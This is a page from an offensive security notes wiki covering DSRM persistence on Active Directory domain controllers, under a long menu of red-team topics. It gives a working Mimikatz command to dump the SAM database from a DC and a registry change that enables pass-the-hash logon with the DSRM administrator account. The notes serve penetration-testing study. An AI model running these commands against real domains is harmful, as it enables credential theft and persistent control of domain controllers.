RFC - Offensive Security Notes
  • Active Directory
    • Enumeration
      • Active Directory Module
        • Enumerating the Domain
        • Enumerating ACLs
      • PowerView 3.0
      • Verify connectivity to domain controller
      • WMI domain enumeration through root\directory\ldap
      • PAM Trust
      • DNS discovery
        • Get-DnsServerZone
    • Privilege Escalation
      • Kerberos Delegation
        • Unconstrained delegation
        • Constrained delegation
        • Resource-based Constrained Delegation
      • Escalating from child to parent domain
      • Abusing inter-forest trust
      • WSUS server abuse
      • ACL Enumeration with PowerView 2.0
    • Persistence
      • Kerberos attacks
        • Golden ticket
        • Silver ticket
      • DSRM (Directory Services Restore Mode)
  • Initial Access
    • VBA Macros
      • Mark-of-the-Web
  • Discovery
    • Juicy files
      • PowerShell history
    • Network Enumeration
      • Network discovery scans
        • Ping scan
      • Nmap
      • Perimeter firewall scanning for open outbound ports
  • Execution
    • WMI
      • Remote code execution using WMI
    • PowerShell
      • C# assembly in PowerShell
        • List load assembly
        • Add-Type
        • UnsafeNativeMethods
        • DelegateType Reflection
        • Reflective Load
    • C# .Net Assembly
      • Process injection
        • Debugging
        • Using VirtualAllocEx and WriteProcessMemory
        • Using NTAPI Undocumented Functions
    • ReverseShells
      • Linux
        • Stabilizing zsh shell
    • Metasploit
      • HTTPs Meterpreter
  • Exploitation
    • Win32 APIs
      • OpenProcess
      • VirtualAllocEx
      • WriteProcessMemory
      • CreateRemoteThread
  • Credential Access
    • Microsoft Windows
      • Windows credential audit and logon types
      • Local credentials (SAM and LSA)
      • Lsass from forensics dump
      • Access Tokens
        • SeImpersonatePrivilege
      • ntds.dit
        • Dumping the contents of ntds.dit files using PowerShell
      • Mimikatz
      • LAPS
  • Lateral Movement
    • Windows Lateral Movement
      • Remote Desktop Protocol (RDP)
      • PowerShell Remoting (PS Remote)
        • Kerberos double hoping
      • Windows Task Scheduler
    • Linux Lateral Movement
  • Persistence
  • Defence Evasion
    • Antimalware Scan Interface (AMSI)
      • Debugging AMSI with Frida
      • PowerShell Bypasses
      • JS/VBA Bypasses
    • PowerShell
      • PowerShell version 2
      • Constrained Language Mode
      • Just Enough Administration (JEA)
      • ScriptBlockLogging
    • Microsoft Defender
    • Anti-virus evasion
      • Evasion and bypassing detection within C#
        • Encryptors
          • Aes encryptor
        • Sandbox evasion
          • Time accelerated checks
    • AppLocker
      • InstallUtil
      • MsBuild
  • Network Pivoting
    • Proxies and port fowarding
      • SSH
      • Metasploit
      • Socat
      • SSH Shuttle
      • Windows netsh command
    • Network discovery and scanning
  • Exfiltration
    • Windows
      • Copy files over SMB
  • Services
    • MS SQL Server
      • Enumeration
      • UNC Path Injection
      • Privilege Escalation
      • Linked Servers
      • SQL Injection
  • Misc
    • CrackMapExec
    • Cheat sheets
  • Cloud
    • Azure
      • Authentication
      • Enumeration
        • AzureHound
        • Az.Powershell
        • Microsoft Graph PowerShell
      • Initial Access
        • Device Code Phishing
        • Family-Of-Client-Ids - FOCI
        • JWT Assertion
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On this page
  • DSRM (Directory Services Restore Mode)
  • Execution
  • Dumping the SAM database
  • Requirements before you can pass the hash
  1. Active Directory
  2. Persistence

DSRM (Directory Services Restore Mode)

DSRM (Directory Services Restore Mode)

DSRM is Directory Services Restore Mode. There is a local administrator on every DC called "Administrator" whose password is the DSRM password. DSRM password (SafeModePassword) is required when a server is promoted to Domain Controller and it is rarely changed. After altering the configuration on the DC, it is possible to pass the NTLM hash of this user to access the DC.

Execution

Dumping the SAM database

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc

Requirements before you can pass the hash

## Logon Behavior for the DSRM account needs to be changed before we can use its hash
New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD
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Last updated 3 years ago